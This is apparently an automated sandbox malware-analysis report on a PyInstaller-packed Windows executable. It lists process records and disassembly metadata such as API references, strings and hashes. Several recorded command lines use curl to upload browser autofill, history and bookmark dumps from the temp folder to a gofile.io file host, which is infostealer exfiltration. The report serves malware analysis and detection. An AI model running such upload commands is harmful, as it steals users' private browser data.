Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	03:09:42
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	03:09:42
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	03:09:42
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	03:09:42
Start date:	16/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff778450000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	03:09:42
Start date:	16/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	03:09:42
Start date:	16/01/2025
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff60d430000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	45

Executed Functions

Function 00007FF67A626470 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF67A6264B5

Part of subcall function 00007FF67A625E08: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A625E1C

Part of subcall function 00007FF67A61B00C: RtlFreeHeap.NTDLL(?,?,?,00007FF67A623492,?,?,?,00007FF67A6234CF,?,?,00000000,00007FF67A623995,?,?,00000000,00007FF67A6238C7), ref: 00007FF67A61B022
Part of subcall function 00007FF67A61B00C: GetLastError.KERNEL32(?,?,?,00007FF67A623492,?,?,?,00007FF67A6234CF,?,?,00000000,00007FF67A623995,?,?,00000000,00007FF67A6238C7), ref: 00007FF67A61B02C

Part of subcall function 00007FF67A61AFC4: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF67A61AFA3,?,?,?,?,?,00007FF67A6131CC), ref: 00007FF67A61AFCD
Part of subcall function 00007FF67A61AFC4: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF67A61AFA3,?,?,?,?,?,00007FF67A6131CC), ref: 00007FF67A61AFF2

_get_daylight.LIBCMT ref: 00007FF67A6264A4

Part of subcall function 00007FF67A625E68: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A625E7C

_get_daylight.LIBCMT ref: 00007FF67A62671A
_get_daylight.LIBCMT ref: 00007FF67A62672B
_get_daylight.LIBCMT ref: 00007FF67A62673C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF67A62697C), ref: 00007FF67A626763

Strings

Eastern Summer Time, xrefs: 00007FF67A626821
Eastern Standard Time, xrefs: 00007FF67A626809

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: bbcac37ccba8d4fb81487e2dc58aab96d0fddb0f5958181c110f5c0263e0c824
Instruction ID: 9d3594e3e490629fc97e48bd6a886d47fd45176c23ad9421567f0599cfd2d85b
Opcode Fuzzy Hash: bbcac37ccba8d4fb81487e2dc58aab96d0fddb0f5958181c110f5c0263e0c824
Instruction Fuzzy Hash: EED1D06BE2824286E720EF21D8505BB6761EF44F94F408176EA4DC7AE5EF3CE481E741

Function 00007FF67A6273BC Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67A6270F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A627131
Part of subcall function 00007FF67A6270F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A6271AF
Part of subcall function 00007FF67A6270F0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A627200

CreateFileW.KERNELBASE ref: 00007FF67A6274C2
CreateFileW.KERNEL32 ref: 00007FF67A627512
GetLastError.KERNEL32 ref: 00007FF67A627542
GetFileType.KERNELBASE ref: 00007FF67A627557
GetLastError.KERNEL32 ref: 00007FF67A627561
CloseHandle.KERNEL32 ref: 00007FF67A627594
CloseHandle.KERNEL32 ref: 00007FF67A6276F7
CreateFileW.KERNEL32 ref: 00007FF67A62772C
GetLastError.KERNEL32 ref: 00007FF67A62773B

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 3a34930d5f91773cec3df5f99ae8c8b4927d9c8c66a9e1d3c980e3b08bacfc22
Instruction ID: e4c351c60c39d1d868e2ea848d9b0433d703451ff2cd6d0d6c6d242615fd1bd1
Opcode Fuzzy Hash: 3a34930d5f91773cec3df5f99ae8c8b4927d9c8c66a9e1d3c980e3b08bacfc22
Instruction Fuzzy Hash: F1C1B037B28A4285EB10CFA8C4906BE3B61FB49F98B115265DB2E9B7E4CF38D455D700

Function 00007FF67A607960 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF67A60154F), ref: 00007FF67A6079F7

Part of subcall function 00007FF67A607B70: GetEnvironmentVariableW.KERNEL32(00007FF67A603A1F), ref: 00007FF67A607BAA
Part of subcall function 00007FF67A607B70: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF67A607BC7

Part of subcall function 00007FF67A617EEC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A617F05

SetEnvironmentVariableW.KERNEL32 ref: 00007FF67A607AB1

Part of subcall function 00007FF67A602B30: MessageBoxW.USER32 ref: 00007FF67A602C05

Strings

_MEI%d, xrefs: 00007FF67A607A05
TMP, xrefs: 00007FF67A60799A, 00007FF67A607A59, 00007FF67A607AE7
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF67A6079DA
TMP, xrefs: 00007FF67A6079C0

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: 58413b646d7f7ab374e4e2c422a9b8d13a7d03e9344dd45300574a9025ad97e3
Instruction ID: c7dbc06aa827f557ad7f10d44f813365e9725df644a6c31f45f04c475d075b62
Opcode Fuzzy Hash: 58413b646d7f7ab374e4e2c422a9b8d13a7d03e9344dd45300574a9025ad97e3
Instruction Fuzzy Hash: BE518453B3960345F914FB6698216BB5241AF48FC1F4440B0DD4ECB7F7ED2CE541A640

Function 00007FF67A6266EC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF67A62671A

Part of subcall function 00007FF67A625E68: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A625E7C

_get_daylight.LIBCMT ref: 00007FF67A62672B

Part of subcall function 00007FF67A625E08: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A625E1C

_get_daylight.LIBCMT ref: 00007FF67A62673C

Part of subcall function 00007FF67A625E38: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A625E4C

Part of subcall function 00007FF67A61B00C: RtlFreeHeap.NTDLL(?,?,?,00007FF67A623492,?,?,?,00007FF67A6234CF,?,?,00000000,00007FF67A623995,?,?,00000000,00007FF67A6238C7), ref: 00007FF67A61B022
Part of subcall function 00007FF67A61B00C: GetLastError.KERNEL32(?,?,?,00007FF67A623492,?,?,?,00007FF67A6234CF,?,?,00000000,00007FF67A623995,?,?,00000000,00007FF67A6238C7), ref: 00007FF67A61B02C

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF67A62697C), ref: 00007FF67A626763

Strings

Eastern Summer Time, xrefs: 00007FF67A626821
Eastern Standard Time, xrefs: 00007FF67A626809

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 111214f05bee2973e4e588afc78e556d255684e42b25d281897c943451d46a64
Instruction ID: 35c3367eb9f82a837f484f49fbdacd0c6a47e1d1d89a96bc2af6a840012bf0aa
Opcode Fuzzy Hash: 111214f05bee2973e4e588afc78e556d255684e42b25d281897c943451d46a64
Instruction Fuzzy Hash: 1C515C77A2864286E720DF21E8915BB6761FF48F84F4041B6EA4DC3AB6DF3CE541A740

Function 00007FF67A608B00 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF67A608B31
FindClose.KERNELBASE ref: 00007FF67A608B40

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 8cbeafd55435480eb4b41ebb52a05d3ef2c4ced4829aa63b63a0783ab33de0ca
Instruction ID: b12acf69e032478f8a2770ddfafff4fb5ea513ace66bc73b451a5385ddfb6254
Opcode Fuzzy Hash: 8cbeafd55435480eb4b41ebb52a05d3ef2c4ced4829aa63b63a0783ab33de0ca
Instruction Fuzzy Hash: D4F0A473A3878186F760CF64E489767B3A0EB44F28F004735D6AD466E4DF3CD0589A00

Function 00007FF67A601710 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF67A6018F5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF67A601806
fwrite, xrefs: 00007FF67A6018EC
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF67A601866
pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF67A601726
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF67A6018E5
fopen, xrefs: 00007FF67A601797
Failed to extract %s: failed to open archive file!, xrefs: 00007FF67A6017D9
fseek, xrefs: 00007FF67A60180D
Failed to extract %s: failed to open target file!, xrefs: 00007FF67A601790
fread, xrefs: 00007FF67A6018FC
Failed to create symbolic link %s!, xrefs: 00007FF67A601753
malloc, xrefs: 00007FF67A60186D

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: 55bd94f6007b30232ed0cfa4e1889d1d4adb7e37d938c4d6b6b55faef1642cfb
Instruction ID: 833cfb7f4cd5f491c1eda3dbdc81a3acbaf3d34bdd5bfead69c1e8fca655768c
Opcode Fuzzy Hash: 55bd94f6007b30232ed0cfa4e1889d1d4adb7e37d938c4d6b6b55faef1642cfb
Instruction Fuzzy Hash: 94518EA3B3864286EA11DB25E450ABB6791FF49F94F4404B1DE4C876F5EF3CE684A700

Function 00007FF67A601AA0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67A6082C0: _fread_nolock.LIBCMT ref: 00007FF67A60836A

_fread_nolock.LIBCMT ref: 00007FF67A601B54

Part of subcall function 00007FF67A602890: MessageBoxW.USER32 ref: 00007FF67A60299B

Strings

Failed to read cookie!, xrefs: 00007FF67A601B5F
MEI, xrefs: 00007FF67A601AE2
fseek, xrefs: 00007FF67A601B33
Error on file., xrefs: 00007FF67A601C36
Could not read full TOC!, xrefs: 00007FF67A601C09
Could not allocate buffer for TOC!, xrefs: 00007FF67A601BD6
Failed to seek to cookie position!, xrefs: 00007FF67A601B2C
fread, xrefs: 00007FF67A601B66, 00007FF67A601C10
malloc, xrefs: 00007FF67A601BDD

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: ca1d27e89982189e4f26c07087f6c95fdc921444c9bce541ef2ce41b92843714
Instruction ID: 24b13e13cd01dcae684a0f273a9b234f72a205909018c8e801c67f20886cbf10
Opcode Fuzzy Hash: ca1d27e89982189e4f26c07087f6c95fdc921444c9bce541ef2ce41b92843714
Instruction Fuzzy Hash: 53517DB3A2860286EB14DF28D45057B77A0EF48F84B554576DA4CC77B9EE3CE480DB44

Function 00007FF67A601000 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67A603ED0: GetModuleFileNameW.KERNEL32(?,00007FF67A6039EA), ref: 00007FF67A603F01

SetDllDirectoryW.KERNEL32 ref: 00007FF67A603BF5

Part of subcall function 00007FF67A607B70: GetEnvironmentVariableW.KERNEL32(00007FF67A603A1F), ref: 00007FF67A607BAA
Part of subcall function 00007FF67A607B70: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF67A607BC7

Strings

Cannot side-load external archive %s (code %d)!, xrefs: 00007FF67A603B3F
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF67A603AC6
_PYI_ONEDIR_MODE, xrefs: 00007FF67A603A34, 00007FF67A603A5F
MEI, xrefs: 00007FF67A603AFA
_MEIPASS2, xrefs: 00007FF67A603A0B, 00007FF67A603A74, 00007FF67A603D27, 00007FF67A603D33
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF67A603B73
Failed to convert DLL search path!, xrefs: 00007FF67A603BE5

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-1544818733
Opcode ID: 9ba03c8df16b21d72729e46afa2357ea2a33f66d8d25b75a636e029e11466fb5
Instruction ID: 4c7ad2c53083a0c8cfb30ca6c92c2effce73d6436a9ac1d68911ce9b4ea5d95c
Opcode Fuzzy Hash: 9ba03c8df16b21d72729e46afa2357ea2a33f66d8d25b75a636e029e11466fb5
Instruction Fuzzy Hash: 6FB18263A3CA8341EA28EB21D550ABF6250FF54F85F4001B5EA4DC76F6EF2CE584A700

Function 00007FF67A608090 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF67A608BE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF67A602ABB), ref: 00007FF67A608C1A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF67A603D57), ref: 00007FF67A6080DF
GetStartupInfoW.KERNEL32 ref: 00007FF67A6080FE

Part of subcall function 00007FF67A61AB14: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A61AB28

Part of subcall function 00007FF67A618730: _invalid_parameter_noinfo.LIBCMT ref: 00007FF67A618797

GetCommandLineW.KERNEL32 ref: 00007FF67A60819E
CreateProcessW.KERNELBASE ref: 00007FF67A6081E0
WaitForSingleObject.KERNEL32 ref: 00007FF67A6081F4
GetExitCodeProcess.KERNELBASE ref: 00007FF67A608204

Strings

Error creating child process!, xrefs: 00007FF67A608210
CreateProcessW, xrefs: 00007FF67A608217

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 08988cee581fa2f1300347ff32b1d9c8d82b1f49edf068ad7517d4b354b7a22a
Instruction ID: c927d2e59feedaba654d8bbdd02f66daa53c576af6de9483bee1ffca31dd96b4
Opcode Fuzzy Hash: 08988cee581fa2f1300347ff32b1d9c8d82b1f49edf068ad7517d4b354b7a22a
Instruction Fuzzy Hash: 44414133A28B8285DA20DB24F4552ABB3A4FF94B60F500775E6AD87BE5DF7CD0449B00

Function 00007FF67A601050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF67A6010F1
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF67A60111F
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF67A601249
1.3.1, xrefs: 00007FF67A60107E
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF67A6010B4
malloc, xrefs: 00007FF67A6010F8, 00007FF67A601126

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 344160d0c59c7e0824ae8a956d407c8024153e1398207cbd26e900c139b7670f
Instruction ID: abe464cdc7a82b6f591d9e62bd724889c1ca207bf0f11968bbe81f0433077626
Opcode Fuzzy Hash: 344160d0c59c7e0824ae8a956d407c8024153e1398207cbd26e900c139b7670f
Instruction Fuzzy Hash: 4651DF63A3868285EA20AB51E4507BB6690FF84F94F4441B1EE4DC77E5EF3CE585E700

Function 00007FF67A61F2D0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF67A61F66A,?,?,-00000018,00007FF67A61B417,?,?,?,00007FF67A61B30E,?,?,?,00007FF67A616552), ref: 00007FF67A61F44C
GetProcAddress.KERNEL32(?,?,?,00007FF67A61F66A,?,?,-00000018,00007FF67A61B417,?,?,?,00007FF67A61B30E,?,?,?,00007FF67A616552), ref: 00007FF67A61F458

Strings

api-ms-, xrefs: 00007FF67A61F396
ext-ms-, xrefs: 00007FF67A61F3A9

Memory Dump Source

Source File: 00000000.00000002.1597467517.00007FF67A601000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF67A600000, based on PE: true

Associated: 00000000.00000002.1597431935.00007FF67A600000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597511727.00007FF67A62B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A63E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597558295.00007FF67A640000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1597631880.00007FF67A642000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff67a600000_creal.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d9a2a87bd09a281b138f83e486683d1d3e88d7d7cd724ecba9763c018ac5b270
Instruction ID: 64d6928fb8f846369e7b67c2182ee024bd414d3164dcdf568e0b1eba559aa1e7
Opcode Fuzzy Hash: d9a2a87bd09a281b138f83e486683d1d3e88d7d7cd724ecba9763c018ac5b270
Instruction Fuzzy Hash: 9C411223B39A1241FA16CB16E8045B72791BF48FA0F494176DE1DC77A5DF3CE44AA340

